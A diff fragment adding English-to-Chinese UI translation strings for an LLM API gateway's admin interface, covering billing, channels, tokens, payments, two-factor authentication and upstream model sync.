+    "Statistical quota": "统计配额",
+    "Statistical tokens": "统计 Token 数",
+    "Statistics reset": "统计已重置",
+    "Status": "状态",
+    "Status & Sync": "状态与同步",
+    "Status Code Mapping": "状态码映射",
+    "Status Page Slug": "状态页面 Slug",
+    "Status:": "状态：",
+    "Stay": "留下来",
+    "Stay tuned though!": "敬请期待！",
+    "Step": "步骤",
+    "Stop": "停止",
+    "Store ID": "商店 ID",
+    "Store ID is required": "商店 ID 为必填项",
+    "Stored value is not echoed back for security": "出于安全考虑，已存储的值不会回显",
+    "stream": "流",
+    "Stream": "流",
+    "Stream Mode": "流式模式",
+    "Stream Status": "流状态",
+    "Stripe": "Stripe",
+    "Stripe API key (leave blank unless updating)": "Stripe API 密钥（除非更新，否则留空）",
+    "Stripe Dashboard": "Stripe 控制面板",
+    "Stripe Gateway": "Stripe 网关",
+    "Stripe product price ID": "Stripe 产品价格 ID",
+    "Stripe/Creem requires creating products on the third-party platform and entering the ID": "Stripe/Creem 需在第三方平台创建商品并填入 ID",
+    "Submit": "提交",
+    "Submit directly": "直接提交",
+    "Submit Result": "提交结果",
+    "Submit Time": "提交时间",
+    "Submitted": "已提交",
+    "Submitting": "提交中",
+    "Submitting...": "提交中...",
+    "Submodel": "Submodel",
+    "Subscribe Now": "立即订阅",
+    "Subscription": "订阅",
+    "Subscription Billing": "订阅计费",
+    "Subscription First": "优先订阅",
+    "Subscription Management": "订阅管理",
+    "Subscription Only": "仅用订阅",
+    "Subscription Plans": "订阅套餐",
+    "Subtract": "减少",
+    "Success": "成功",
+    "Successfully created {{count}} API Key(s)": "成功创建了 {{count}} 个 API 密钥",
+    "Successfully created {{count}} redemption codes": "成功创建了 {{count}} 个兑换码",
+    "Successfully deleted {{count}} API key(s)": "成功删除了 {{count}} 个 API 密钥",
+    "Successfully deleted {{count}} invalid redemption codes": "已成功删除 {{count}} 个无效兑换码",
+    "Successfully deleted {{count}} model(s)": "成功删除 {{count}} 个模型",
+    "Successfully disabled {{count}} model(s)": "成功禁用 {{count}} 个模型",
+    "Successfully enabled {{count}} model(s)": "成功启用 {{count}} 个模型",
+    "Suffix": "后缀",
+    "Suffix Match": "后缀匹配",
+    "SunoAPI": "SunoAPI",
+    "Super Admin": "超级管理员",
+    "Support for high concurrency with automatic load balancing": "支持高并发和自动负载均衡",
+    "Supported Imagine Models": "支持的 Imagine 模型",
+    "Supports `-thinking`, `-thinking-": "支持 `-thinking`、`-thinking-`",
+    "Supports HTML markup or iframe embedding. Enter HTML code directly, or provide a complete URL to automatically embed it as an iframe.": "支持 HTML 标记或 iframe 嵌入。直接输入 HTML 代码，或提供完整的 URL 以将其自动嵌入为 iframe。",
+    "Supports PNG, JPG, SVG, or WebP. Recommended size: 128×128 or smaller.": "支持 PNG、JPG、SVG 或 WebP，建议尺寸不超过 128×128。",
+    "Swap Face": "换脸",
+    "Switch affinity on success": "成功后切换亲和",
+    "Switch between the new frontend and the classic frontend. Changes take effect after page reload.": "切换新版前端和经典前端，保存后刷新页面生效。",
+    "Switch to JSON": "切换到 JSON",
+    "Switch to Visual": "切换到可视化",
+    "Sync Endpoint": "同步端点",
+    "Sync Fields": "同步字段",
+    "Sync from the public upstream metadata repository.": "从公共上游元数据仓库同步。",
+    "Sync this model with official upstream": "将此模型与官方上游同步",
+    "Sync Upstream": "同步上游",
+    "Sync Upstream Models": "同步上游模型",
+    "Synchronize models and vendors from an upstream source": "从上游源同步模型和供应商",
+    "Syncing prices, please wait...": "正在同步价格，请稍候...",
+    "System": "系统",
+    "System Administration": "系统管理",
+    "System Announcements": "系统公告",
+    "System Behavior": "系统行为",
+    "System data statistics": "系统数据统计",
+    "System Information": "系统信息",
+    "System initialized successfully! Redirecting…": "系统初始化成功！正在重定向…",
+    "System logo": "系统徽标",
+    "System maintenance": "系统维护",
+    "System Memory": "系统内存",
+    "System Memory Stats": "系统内存统计",
+    "System Name": "系统名称",
+    "System name is required": "系统名称为必填项",
+    "System Notice": "系统公告",
+    "System Performance Monitoring": "系统性能监控",
+    "System Prompt": "系统提示词",
+    "System Prompt Concatenation": "系统提示词连接",
+    "System Prompt Override": "系统提示覆盖",
+    "System settings": "系统设置",
+    "System Settings": "系统设置",
+    "System setup wizard": "系统设置向导",
+    "System task records": "系统任务记录",
+    "System Version": "系统版本",
+    "Table view": "表格视图",
+    "Tag": "标签",
+    "Tag Aggregate": "标签聚合",
+    "Tag Mode": "标签模式",
+    "Tag Name": "标签名称",
+    "Tag set successfully": "标签设置成功",
+    "Tag updated successfully": "标签更新成功",
+    "Tag:": "标签：",
+    "Tags": "标签",
+    "Take photo": "拍照",
+    "Take screenshot": "截图",
+    "Target group": "目标分组",
+    "Task": "任务",
+    "Task ID": "任务 ID",
+    "Task ID:": "任务 ID：",
+    "Task logs": "任务日志",
+    "Task Logs": "任务日志",
+    "Team Collaboration": "团队协作",
+    "Technical Support": "技术支持",
+    "Telegram": "Telegram",
+    "Telegram login requires widget integration; coming soon": "Telegram 登录需要小部件集成；即将推出",
+    "Telegram Login Widget": "Telegram 登录小部件",
+    "Template variables:": "模板变量：",
+    "Templates": "模板",
+    "Templates appended": "模板已追加",
+    "Tencent": "腾讯",
+    "Termination requested": "终止请求",
+    "Test All Channels": "测试所有渠道",
+    "Test Channel Connection": "测试渠道连接",
+    "Test Connection": "测试连接",
+    "Test connectivity for:": "测试连接性：",
+    "Test interval (minutes)": "测试间隔 (分钟)",
+    "Test Latency": "测试延迟",
+    "Test Mode": "测试模式",
+    "Test Model": "测试模型",
+    "Testing all enabled channels started. Please refresh to see results.": "测试所有启用的通道已开始。请刷新以查看结果。",
+    "Testing...": "测试中...",
+    "Text Input": "文字输入",
+    "Text Output": "文字输出",
+    "Text to Video": "文生视频",
+    "The administrator account is already initialized. You can keep your existing credentials and continue to the next step.": "管理员账户已初始化。您可以保留现有凭据并继续下一步。",
+    "The administrator configured an external link for this document.": "管理员为此文档配置了外部链接。",
+    "The administrator has not configured a privacy policy yet.": "管理员尚未配置隐私政策。",
+    "The administrator has not configured a user agreement yet.": "管理员尚未配置用户协议。",
+    "The administrator has not configured any about content yet. You can set it in the settings page, supporting HTML or URL.": "管理员尚未配置任何关于内容。您可以在设置页面中进行设置，支持 HTML 或 URL。",
+    "The binding will complete automatically after authorization": "授权后绑定将自动完成",
+    "The effective domain for Passkey registration. Must match the current domain or be its parent domain.": "用于 Passkey 注册的有效域。必须与当前域匹配或为其父域。",
+    "The exact model identifier as used in API requests.": "API 请求中使用的确切模型标识符。",
+    "The following models have billing type conflicts (fixed price vs ratio billing). Confirm to proceed with the changes.": "以下模型存在计费类型冲突（固定价格 vs 比例计费）。确认以继续更改。",
+    "The following models in the model redirect have not been added to the \"Models\" list and may fail during invocation due to missing available models:": "模型重定向里的下列模型尚未添加到\"模型\"列表，调用时会因为缺少可用模型而失败：",
+    "The mapped upstream model(s)": "映射的上游模型",
+    "The model you're looking for doesn't exist.": "您查找的模型不存在。",
+    "The name displayed across the application": "在整个应用程序中显示的名称",
+    "The public URL of your server, used for OAuth callbacks, webhooks, and other external integrations": "服务器的公开URL，用于OAuth回调、Webhook和其他外部集成",
+    "The requested chat preset does not exist or has been removed.": "请求的聊天预设不存在或已被删除。",
+    "The setup wizard will use this database during initialization.": "设置向导将在初始化过程中使用此数据库。",
+    "The site is not available at the moment.": "该站点目前不可用。",
+    "The slug is appended to the URL:": "别名将附加到 URL:",
+    "The sync will fetch missing models and vendors from the selected source. Existing records are updated only when you approve conflicts.": "同步将从选定的源获取缺失的模型和供应商。仅在您批准冲突时才会更新现有记录。",
+    "The token group that will have a custom ratio": "将具有自定义比例的令牌分组",
+    "The unique identifier for this model": "此模型的唯一标识符",
+    "The unique name for this vendor": "此供应商的唯一名称",
+    "The URL for this chat client.": "此聊天客户端的 URL。",
+    "Theme": "主题",
+    "Theme Settings": "主题设置",
+    "There are both add and remove models pending, but you only selected one type. Confirm submitting only the selected items?": "当前有新增和删除两类待处理模型，但您只勾选了其中一类。确认仅提交已勾选的部分吗？",
+    "These models are still in your selection but were not returned by the upstream listing. Entries that are only model_mapping source aliases are omitted. Toggle to adjust before saving.": "这些模型仍然在您的勾选列表中，但上游已不再返回该名称；仅作为 model_mapping 来源键而不会出现在 upstream 列表的别名已从本视图排除，请在保存前调整勾选。",
+    "These toggles affect whether certain request fields are passed through to the upstream provider.": "这些开关控制某些请求字段是否透传到上游服务。",
+    "Thinking Adapter": "思维适配器",
+    "Thinking to Content": "思维到内容",
+    "Third-party account bindings (read-only, managed by user in profile settings)": "第三方账户绑定（只读，由用户在个人资料设置中管理）",
+    "Third-party Payment Config": "第三方支付配置",
+    "This action cannot be undone.": "此操作无法撤消。",
+    "This action cannot be undone. This will permanently delete your account and remove all your data from our servers.": "此操作无法撤消。这将永久删除您的账户并从我们的服务器中移除您的所有数据。",
+    "This action will permanently remove 2FA protection from your account.": "此操作将永久移除您账户的 2FA 保护。",
+    "This channel is not an Ollama channel.": "该渠道不是 Ollama 渠道。",
+    "This channel type does not support fetching models": "此通道类型不支持获取模型",
+    "This data may be unreliable, use with caution": "此数据可能不可靠，请谨慎使用",
+    "This device does not support Passkey": "此设备不支持 Passkey",
+    "This device does not support Passkey verification.": "此设备不支持 Passkey 验证。",
+    "This expression is too complex for the visual editor. Please switch to expression mode to edit.": "此表达式对可视化编辑器过于复杂，请切换到表达式模式进行编辑。",
+    "This feature is experimental. Configuration format and behavior may change.": "此功能为实验性功能。配置格式和行为可能会发生变化。",
+    "This feature requires server-side WeChat configuration": "此功能需要服务器端微信配置",
+    "This may cause cache failures.": "这可能导致缓存故障。",
+    "This may take a few moments while we validate the request and update your session.": "这可能需要一些时间，因为我们正在验证请求并更新您的会话。",
+    "This model has both fixed price and ratio billing conflicts": "此模型同时存在固定价格和比例计费冲突",
+    "This model is not available in any group, or no group pricing information is configured.": "此模型在任何分组中均不可用，或未配置分组定价信息。",
+    "This month": "本月获得",
+    "This page has not been created yet.": "此页面尚未创建。",
+    "This project must be used in compliance with the": "此项目的使用必须遵守",
+    "This record was written by a pre-upgrade instance and lacks audit info. Upgrade the instance to record server IP, callback IP, payment method and system version.": "该记录由旧版本实例写入，缺少审计信息，建议将实例升级至最新版本以便记录服务器 IP、回调 IP、支付方式与系统版本等审计字段。",
+    "this token group": "此令牌分组",
+    "this user group": "此用户分组",
+    "This user has no bindings": "该用户无任何绑定",
+    "This week": "本周",
+    "This will append 2 template rules (Codex CLI and Claude CLI) to the existing rule list.": "这将在现有规则列表中追加 2 条模板规则（Codex CLI 和 Claude CLI）。",
+    "This will clear custom pricing ratios and revert to upstream defaults.": "这将清除自定义定价比例并恢复到上游默认值。",
+    "This will delete all": "这将删除所有",
+    "This will delete all channel affinity cache entries still in memory.": "这将删除内存中所有的渠道亲和性缓存条目。",
+    "This will delete temporary cache files that have not been used for more than 10 minutes": "这将删除超过 10 分钟未使用的临时缓存文件",
+    "This will extend the deployment by the specified hours.": "这将通过指定的小时数延长部署。",
+    "This will permanently delete API key": "这将永久删除 API 密钥",
+    "This will permanently delete redemption code": "这将永久删除兑换码",
+    "This will permanently delete user": "这将永久删除用户",
+    "This will permanently remove all log entries created before {{date}}.": "这将永久删除 {{date}} 之前创建的所有日志条目。",
+    "This will permanently remove log entries before the selected timestamp.": "这将永久删除所选时间戳之前的日志条目。",
+    "Three steps to get started": "三步快速上手",
+    "Tier": "档位",
+    "Tier name": "档位名称",
+    "Tiered": "阶梯",
+    "Tiered (billing expression)": "阶梯计费（计费表达式）",
+    "Tiered price table": "分档价格表",
+    "Time": "时间",
+    "Time Granularity": "时间粒度",
+    "Time remaining": "剩余时间",
+    "Time window for rate limiting": "速率限制的时间窗口",
+    "Time-based": "含时间条件",
+    "Time:": "时间：",
+    "Timed cache (1h)": "定时缓存（1 小时）",
+    "Timeline": "时间线",
+    "times": "次",
+    "Timing": "耗时",
+    "Tip: The generated key is a JSON credential including access_token / refresh_token / account_id.": "提示：生成的密钥为包含 access_token / refresh_token / account_id 的 JSON 凭据。",
+    "to access this resource.": "访问此资源。",
+    "to confirm": "以确认",
+    "To Lower": "转小写",
+    "to override billing when a user in one group uses a token of another group.": "当一个分组中的用户使用另一个分组的令牌时，用于覆盖计费。",
+    "to the Models list so users can use them before the mapping sends traffic upstream.": "到模型列表，以便用户在映射将流量发送到上游之前可以使用它们。",
+    "To Upper": "转大写",
+    "to view this resource.": "查看此资源。",
+    "Today": "今天",
+    "Toggle columns": "切换列",
+    "Toggle navigation menu": "切换导航菜单",
+    "Toggle plan": "切换计划",
+    "Toggle theme": "切换主题",
+    "Token": "令牌",
+    "Token Breakdown": "Token 明细",
+    "Token Endpoint": "令牌端点",
+    "Token Endpoint (Optional)": "Token 端点（可选）",
+    "Token estimator": "Token 估算器",
+    "Token management": "令牌管理",
+    "Token Management": "令牌管理",
+    "Token Mgmt": "令牌管理",
+    "Token Name": "令牌名称",
+    "Token obtained from your Gotify application": "从您的 Gotify 应用程序获取的 Token",
+    "Token regenerated and copied to clipboard": "令牌已重新生成并复制到剪贴板",
+    "Token unit": "Token 单位",
+    "Token-based": "按量计费",
+    "tokens": "令牌",
+    "Tokens": "令牌",
+    "Tokens Only": "仅限 Token",
+    "Tokens per minute": "每分钟 Token 数",
+    "Tokens-only mode will show raw quota values regardless of this toggle.": "Tokens-only 模式将无视此开关显示原始配额值。",
+    "Too many files. Some were not added.": "文件过多。部分未添加。",
+    "Tool identifier": "工具标识",
+    "Tool price settings": "工具价格设置",
+    "Tool prices": "工具价格",
+    "Top {{count}}": "前 {{count}}",
+    "Top Models": "热门模型",
+    "Top Users": "热门用户",
+    "Top up balance and view billing history.": "充值余额并查看账单历史。",
+    "Top-up": "充值",
+    "Top-up amount options": "充值金额选项",
+    "Top-up Audit Info": "充值审计信息",
+    "Top-up group ratios": "充值分组比例",
+    "Top-Up Link": "充值链接",
+    "top-up ratio": "充值倍率",
+    "Topup Amount": "充值金额",
+    "Total": "总计",
+    "Total Allocated": "总分配",
+    "Total check-ins": "累计签到",
+    "Total consumed": "总消耗",
+    "Total consumed quota": "总消耗额度",
+    "Total cost": "总成本",
+    "Total Cost": "总费用",
+    "Total Count": "总数",
+    "Total earned": "累计获得",
+    "Total Earned": "总收入",
+    "Total GPUs": "总 GPU",
+    "Total invitation revenue": "总邀请收入",
+    "Total Log Size": "日志总大小",
+    "Total Quota": "总额度",
+    "Total requests allowed per period. 0 = unlimited.": "每周期允许的总请求数。0 = 无限制。",
+    "Total requests made": "总请求数",
+    "Total Tokens": "总 Token 数",
+    "Total Usage": "总用量",
+    "Total:": "总计：",
+    "TPM": "TPM",
+    "Track per-request consumption to power usage analytics. Keeping this on increases database writes.": "跟踪每个请求的消耗，以支持使用情况分析。保持开启会增加数据库写入。",
+    "Track usage, costs and performance with real-time analytics": "通过实时分析跟踪用量、成本和性能",
+    "Tracks current account base limits and additional metered usage on Codex upstream.": "跟踪当前账号在 Codex 上游的基础限额与附加计费用量。",
+    "Transfer": "转移",
+    "Transfer Amount": "转移金额",
+    "Transfer failed": "转账失败",
+    "Transfer Rewards": "转移奖励",
+    "Transfer successful": "转账成功",
+    "Transfer to Balance": "转移到余额",
+    "Translate `-thinking` suffixes into Anthropic native thinking models while keeping pricing predictable.": "将 `-thinking` 后缀转换为 Anthropic 原生思维模型，同时保持价格可预测性。",
+    "Transparent Billing": "透明计费",
+    "Trim Prefix": "去前缀",
+    "Trim Space": "去空格",
+    "Trim Suffix": "去后缀",
+    "Trusted": "受信任",
+    "Try adjusting your search to locate a missing model.": "尝试调整您的搜索以找到缺失的模型。",
+    "TTL": "TTL",
+    "TTL (seconds, 0 = default)": "TTL（秒，0 表示默认）",
+    "TTL (seconds)": "TTL（秒）",
+    "Turnstile is enabled but site key is empty.": "Turnstile 已启用但站点密钥为空。",
+    "Two-factor Authentication": "双重身份验证",
+    "Two-Factor Authentication": "两步验证",
+    "Two-factor authentication disabled": "两因素认证已禁用",
+    "Two-factor authentication enabled successfully!": "两步验证已成功启用！",
+    "Two-factor authentication reset": "两因素认证已重置",
+    "Two-Step Verification": "两步验证",
+    "Type": "类型",
+    "Type *": "类型 *",
+    "Type a command or search...": "输入命令或搜索...",
+    "Type-Specific Settings": "特定类型设置",
+    "Type:": "类型：",
+    "UI granularity only &mdash; data is still aggregated hourly": "仅 UI 粒度 &mdash; 数据仍按小时汇总",
+    "Unable to estimate price for this deployment.": "无法为该部署估算价格。",
+    "Unable to generate chat link. Please contact your administrator.": "无法生成聊天链接。请联系您的管理员。",
+    "Unable to load groups": "无法加载分组",
+    "Unable to open chat": "无法打开聊天",
+    "Unable to prepare chat link. Please ensure you have an enabled API key.": "无法准备聊天链接。请确保您有一个已启用的 API 密钥。",
+    "Unauthorized Access": "未经授权的访问",
+    "Unbind": "解绑",
+    "Unbind failed": "解绑失败",
+    "Unbound {{provider}}": "已解绑 {{provider}}",
+    "Unexpected release payload": "意外的版本数据格式",
+    "Unified API Gateway for": "统一 API 网关，服务于",
+    "Unique identifier for this group.": "此组的唯一标识符。",
+    "Unit price (local currency / USD)": "单价（本地货币 / USD）",
+    "Unit price (USD)": "单价 (USD)",
+    "Unit price must be greater than 0": "单价必须大于 0",
+    "Units per USD": "每 USD 单位数",
+    "Unknown": "未知",
+    "Unknown version": "未知版本",
+    "Unlimited": "无限制",
+    "Unlimited Quota": "无限配额",
+    "Unsaved changes": "未保存的更改",
+    "Until": "至",
+    "Untitled": "未命名",
+    "Untrusted upstream data:": "不受信任的上游数据：",
+    "Unused": "未使用",
+    "Update": "更新",
+    "Update All Balances": "更新所有余额",
+    "Update API Key": "更新 API 密钥",
+    "Update Balance": "更新余额",
+    "Update balance for:": "更新余额：",
+    "Update Channel": "更新渠道",
+    "Update channel configuration and click save when you're done.": "更新渠道配置，完成后点击保存。",
+    "Update configuration": "更新配置",
+    "Update failed": "更新失败",
+    "Update Model": "更新模型",
+    "Update model configuration and click save when you're done.": "更新模型配置，完成后点击保存。",
+    "Update plan info": "更新套餐信息",
+    "Update Provider": "更新提供商",
+    "Update Redemption Code": "更新兑换码",
+    "Update succeeded": "更新成功",
+    "Update the API key by providing necessary info.": "通过提供必要信息更新 New API 密钥。",
+    "Update the configuration for this custom OAuth provider.": "更新此自定义OAuth提供商的配置。",
+    "Update the redemption code by providing necessary info.": "通过提供必要信息更新兑换码。",
+    "Update the reusable bundle below.": "更新下面的可重用捆绑包。",
+    "Update the user by providing necessary info.": "通过提供必要信息更新用户。",
+    "Update vendor information for {{name}}": "更新 {{name}} 的供应商信息",
+    "Update your password for account:": "更新账户密码：",
+    "Update your password to keep your account secure": "更新您的密码以确保账户安全",
+    "Updated": "更新时间",
+    "Updated successfully": "更新成功",
+    "Updating all channel balances. This may take a while. Please refresh to see results.": "正在更新所有渠道余额。这可能需要一段时间。请刷新以查看结果。",
+    "Upgrade Group": "升级分组",
+    "Upload": "上传",
+    "Upload a single service account JSON file": "上传单个服务账号 JSON 文件",
+    "Upload file": "上传文件",
+    "Upload files": "上传文件",
+    "Upload multiple JSON files in batch modes": "批量模式下可上传多个 JSON 文件",
+    "Upload or reference a local configuration file.": "上传或引用本地配置文件。",
+    "Upload photo": "上传照片",
+    "Upscale": "放大",
+    "Upstream": "上游",
+    "Upstream Model Update Check": "上游模型更新检查",
+    "Upstream Model Updates": "上游模型更新",
+    "Upstream model updates applied: {{added}} added, {{removed}} removed, {{ignored}} ignored this time, {{totalIgnored}} total ignored models": "已处理上游模型更新：加入 {{added}} 个，删除 {{removed}} 个，本次忽略 {{ignored}} 个，当前已忽略模型 {{totalIgnored}} 个",
+    "Upstream price sync": "上游价格同步",
+    "Upstream prices fetched successfully": "已成功获取上游价格",
+    "Upstream ratios fetched successfully": "上游比率获取成功",
+    "Upstream Response": "上游返回",
+    "Upstream Updates": "上游更新",
+    "uptime": "正常运行时间",
+    "Uptime": "运行时间",
+    "Uptime Kuma": "Uptime Kuma",
+    "Uptime Kuma groups saved successfully": "Uptime Kuma 组保存成功",
+    "Uptime Kuma URL": "Uptime Kuma URL",
+    "Uptime since": "运行时间始于",
+    "URL": "URL",
+    "URL is required": "URL 为必填项",
+    "URL to your logo image (optional)": "您的徽标图片 URL（可选）",
+    "Usage": "用量",
+    "Usage logs": "使用日志",
+    "Usage Logs": "使用日志",
+    "Usage mode": "使用模式",
+    "Usage-based": "基于使用量",
+    "USD": "USD",
+    "USD Exchange Rate": "美元汇率",
+    "Use a compatible browser or device with biometric authentication or a security key to register a Passkey.": "请使用支持生物识别认证或安全密钥的兼容浏览器或设备来注册通行密钥。",
+    "Use authenticator code": "使用验证器代码",
+    "Use backup code": "使用备用代码",
+    "Use disk cache when request body exceeds this size": "请求体超过此大小时使用磁盘缓存",
+    "Use our unified OpenAI-compatible endpoint in your applications": "在应用中使用我们兼容 OpenAI 的统一接口",
+    "Use Passkey to sign in without entering your password.": "使用通行密钥登录，无需输入密码。",
+    "Use secure connection when sending emails": "发送电子邮件时使用安全连接",
+    "Use sidebar shortcut": "使用侧边栏快捷方式",
+    "Use this token for API authentication": "使用此令牌进行 API 身份验证",
+    "Use your Passkey": "使用您的通行密钥",
+    "used": "已使用",
+    "Used": "已使用",
+    "Used / Remaining": "已使用 / 剩余",
+    "Used for load balancing. Higher weight = more requests": "用于负载均衡。权重越高 = 请求越多",
+    "Used in URLs and API routes": "用于URL和API路由",
+    "Used Quota": "消耗额度",
+    "Used to authenticate with io.net deployment API": "用于 io.net 部署 API 鉴权",
+    "Used to authenticate with the worker. Leave blank to keep the existing secret.": "用于与 Worker 进行身份验证。留空以保留现有密钥。",
+    "Used:": "已使用：",
+    "User": "用户",
+    "User {{id}}": "用户 {{id}}",
+    "User Agreement": "用户协议",
+    "User Analytics": "用户统计",
+    "User Consumption Ranking": "用户消耗排行",
+    "User Consumption Trend": "用户消耗趋势",
+    "User created successfully": "用户创建成功",
+    "User dashboard and quota controls.": "用户仪表板和配额控制。",
+    "User Exclusive Ratio": "专属倍率",
+    "User Group": "用户分组",
+    "User group name": "用户分组名称",
+    "User Group: {{ratio}}x": "用户分组：{{ratio}}x",
+    "User groups that can access channels with this tag": "可以访问带有此标签的渠道的用户分组",
+    "User groups that can access this channel. ": "可以访问此渠道的用户组。",
+    "User ID": "用户 ID",
+    "User ID Field": "用户ID字段",
+    "User ID:": "用户 ID：",
+    "User Info Endpoint": "用户信息端点",
+    "User Info Endpoint (Optional)": "用户信息端点（可选）",
+    "User Information": "用户信息",
+    "User Menu": "用户菜单",
+    "User personal functions": "用户个人功能",
+    "User Subscription Management": "用户订阅管理",
+    "User updated successfully": "用户更新成功",
+    "User Verification": "用户验证",
+    "User-Agent include (one per line)": "User-Agent include（每行一个）",
+    "Username": "用户名",
+    "Username confirmation does not match": "用户名确认不匹配",
+    "Username Field": "用户名字段",
+    "Username or Email": "用户名或电子邮件",
+    "Users": "用户",
+    "Users call the model on the left. The platform forwards the request to the upstream model on the right.": "用户调用左侧的模型。平台将请求转发给右侧的上游模型。",
+    "Users must wait for a successful drawing before upscales or variations.": "用户必须等待成功的绘图完成，才能进行放大或变体。",
+    "uses": "使用次数",
+    "Validity": "有效期",
+    "Validity Period": "有效期",
+    "Value": "值",
+    "Value must be at least 0": "值必须至少为 0",
+    "Value Regex": "Value 正则",
+    "variable": "变量",
+    "variable) *": "变量) *",
+    "Variables": "变量",
+    "Vary": "变换",
+    "Vary (Strong)": "强变换",
+    "Vary (Subtle)": "弱变换",
+    "Vendor": "供应商",
+    "Vendor deleted successfully": "供应商删除成功",
+    "Vendor Name *": "供应商名称 *",
+    "Vendor:": "供应商：",
+    "Verification code": "验证码",
+    "Verification Code": "验证码",
+    "Verification code must be 6 digits": "验证码必须是 6 位数字",
+    "Verification code sent! Please check your email.": "验证码已发送！请检查您的电子邮件。",
+    "Verification code updates every 30 seconds.": "验证码每 30 秒更新一次。",
+    "Verification email sent": "验证邮件已发送",
+    "Verification failed": "验证失败",
+    "Verification is not configured properly": "验证未正确配置",
+    "Verification required to reveal the saved key.": "需要验证才能显示已保存的密钥。",
+    "Verify": "验证",
+    "Verify and Sign In": "验证并登录",
+    "Verify Setup": "验证设置",
+    "Verify your database connection": "验证数据库连接",
+    "Version Overrides": "版本覆盖",
+    "Vertex AI": "Vertex AI",
+    "Vertex AI does not support functionResponse.id. Enable this to remove the field automatically.": "Vertex AI 不支持 functionResponse.id 字段，开启后将自动移除该字段",
+    "Vertex AI Key Format": "Vertex AI 密钥格式",
+    "Video": "视频",
+    "Video Remix": "视频 Remix",
+    "Vidu": "Vidu",
+    "View": "查看",
+    "View all currently available models": "查看当前可用的所有模型",
+    "View and manage your API usage logs": "查看和管理您的 API 使用日志",
+    "View and manage your drawing logs": "查看和管理您的绘图日志",
+    "View and manage your task logs": "查看和管理您的任务日志",
+    "View dashboard overview and statistics": "查看仪表板概览和统计信息",
+    "View detailed information about this user including balance, usage statistics, and invitation details.": "查看此用户的详细信息，包括余额、使用统计和邀请详情。",
+    "View details": "查看详情",
+    "View document": "查看文档",
+    "View logs": "查看日志",
+    "View mode": "视图模式",
+    "View model call count analytics and charts": "查看模型调用次数统计和图表",
+    "View model statistics and charts": "查看模型统计和图表",
+    "View Pricing": "查看定价",
+    "View the complete details for this": "查看此条",
+    "View the complete details for this log entry": "查看此日志条目的完整详情",
+    "View the complete error message and details": "查看完整错误信息与详情",
+    "View the complete prompt and its English translation": "查看完整提示词及其英文翻译",
+    "View the generated image": "查看生成的图片",
+    "View user consumption statistics and charts": "查看用户消耗统计和图表",
+    "View your topup transaction records and payment history": "查看您的充值交易记录和付款历史",
+    "Violation Code": "违规代码",
+    "Violation deduction amount": "违规扣费金额",
+    "Violation Fee": "违规扣费",
+    "Violation Marker": "违规标记",
+    "vip": "vip",
+    "VIP users with premium access": "拥有高级访问权限的 VIP 用户",
+    "Visit Settings → General and adjust quota options...": "访问设置 → 通用并调整配额选项...",
+    "Visitors must authenticate before accessing the pricing directory.": "访客必须先进行身份验证才能访问定价目录。",
+    "Visual": "可视",
+    "Visual editor": "可视化编辑器",
+    "Visual Editor": "可视编辑器",
+    "Visual indicator color for the API card": "API 卡的可视指示器颜色",
+    "Visual Mode": "可视模式",
+    "VolcEngine": "字节火山方舟、豆包通用",
+    "Waffo Pancake Payment Gateway": "Waffo Pancake 支付网关",
+    "Waffo Payment": "Waffo 支付",
+    "Waffo Payment Gateway": "Waffo 支付网关",
+    "Waffo Public Key (Production)": "Waffo 公钥（生产）",
+    "Waffo Public Key (Sandbox)": "Waffo 公钥（沙盒）",
+    "Waiting": "等待中",
+    "Waiting for email...": "等待电子邮件...",
+    "Wallet": "钱包",
+    "Wallet First": "优先钱包",
+    "Wallet Management": "钱包管理",
+    "Wallet management and personal preferences.": "钱包管理和个人偏好设置。",
+    "Wallet Only": "仅用钱包",
+    "Warning": "警告",
+    "Warning: Base URL should not end with /v1. New API will handle it automatically. This may cause request failures.": "警告：基础 URL 不应以 /v1 结尾。New API 将自动处理它。这可能会导致请求失败。",
+    "Warning: Disabling 2FA will make your account less secure.": "警告：禁用双重身份验证将使您的账户安全性降低。",
+    "Warning: This action is permanent and irreversible!": "警告：此操作是永久且不可逆的！",
+    "We apologize for the inconvenience.": "对于由此造成的不便，我们深表歉意。",
+    "We could not load the setup status.": "我们无法加载设置状态。",
+    "We will prompt your device to confirm using biometrics or your hardware key.": "我们将提示您的设备使用生物识别或硬件密钥进行确认。",
+    "We'll be back online shortly.": "我们将很快恢复在线。",
+    "Web Search": "网页搜索",
+    "Webhook Configuration:": "Webhook 配置：",
+    "Webhook public key (production)": "Webhook 公钥（生产）",
+    "Webhook public key (production) is required": "Webhook 公钥（生产）为必填项",
+    "Webhook public key (sandbox)": "Webhook 公钥（沙盒）",
+    "Webhook public key (sandbox) is required": "Webhook 公钥（沙盒）为必填项",
+    "Webhook secret": "Webhook 密钥",
+    "Webhook Secret": "Webhook 密钥",
+    "Webhook signing secret (leave blank unless updating)": "Webhook 签名密钥（除非更新，否则留空）",
+    "Webhook URL": "Webhook 地址",
+    "Webhook URL:": "Webhook URL:",
+    "Website is under maintenance!": "网站正在维护中！",
+    "WeChat": "微信",
+    "WeChat login QR code": "微信登录二维码",
+    "WeChat QR code will be displayed here": "微信二维码将显示在此处",
+    "WeChat sign in": "微信登录",
+    "Week": "周",
+    "Weekday": "星期",
+    "Weekly": "每周",
+    "Weekly Window": "每周窗口",
+    "Weight": "权重",
+    "Welcome back!": "欢迎回来！",
+    "Welcome to our New API...": "欢迎使用我们的 New API...",
+    "Well-Known URL": "Well-Known URL",
+    "Well-Known URL must start with http:// or https://": "知名 URL 必须以 http:// 或 https:// 开头",
+    "What would you like to know?": "您想了解什么？",
+    "When conditions match, the final price is multiplied by X. Multiple matches multiply together; values < 1 act as discounts.": "条件满足时，最终价格乘以 X；多条命中的倍率会相乘；小于 1 的值为折扣。",
+    "When enabled, if channels in the current group fail, it will try channels in the next group in order.": "开启后，当前分组渠道失败时会按顺序尝试下一个分组的渠道。",
+    "When enabled, large request bodies are temporarily stored on disk instead of memory, significantly reducing memory usage. SSD recommended.": "启用磁盘缓存后，大请求体将临时存储到磁盘而非内存，可显著降低内存占用。建议在 SSD 环境下使用。",
+    "When enabled, Midjourney callbacks are accepted (reveals server IP).": "启用时，接受 Midjourney 回调 (会泄露服务器 IP)。",
+    "When enabled, newly created tokens start in the first auto group.": "启用后，新创建的令牌将从第一个自动分组开始。",
+    "When enabled, prompts are scanned before reaching upstream models.": "启用后，提示将在到达上游模型之前被扫描。",
+    "When enabled, the store field will be blocked": "开启后将阻止 store 字段透传",
+    "When enabled, violation requests will incur additional charges.": "开启后，违规请求将额外扣费。",
+    "When enabled, zero-cost models also pre-consume quota before final settlement.": "启用后，零成本模型也会在最终结算前预先消耗配额。",
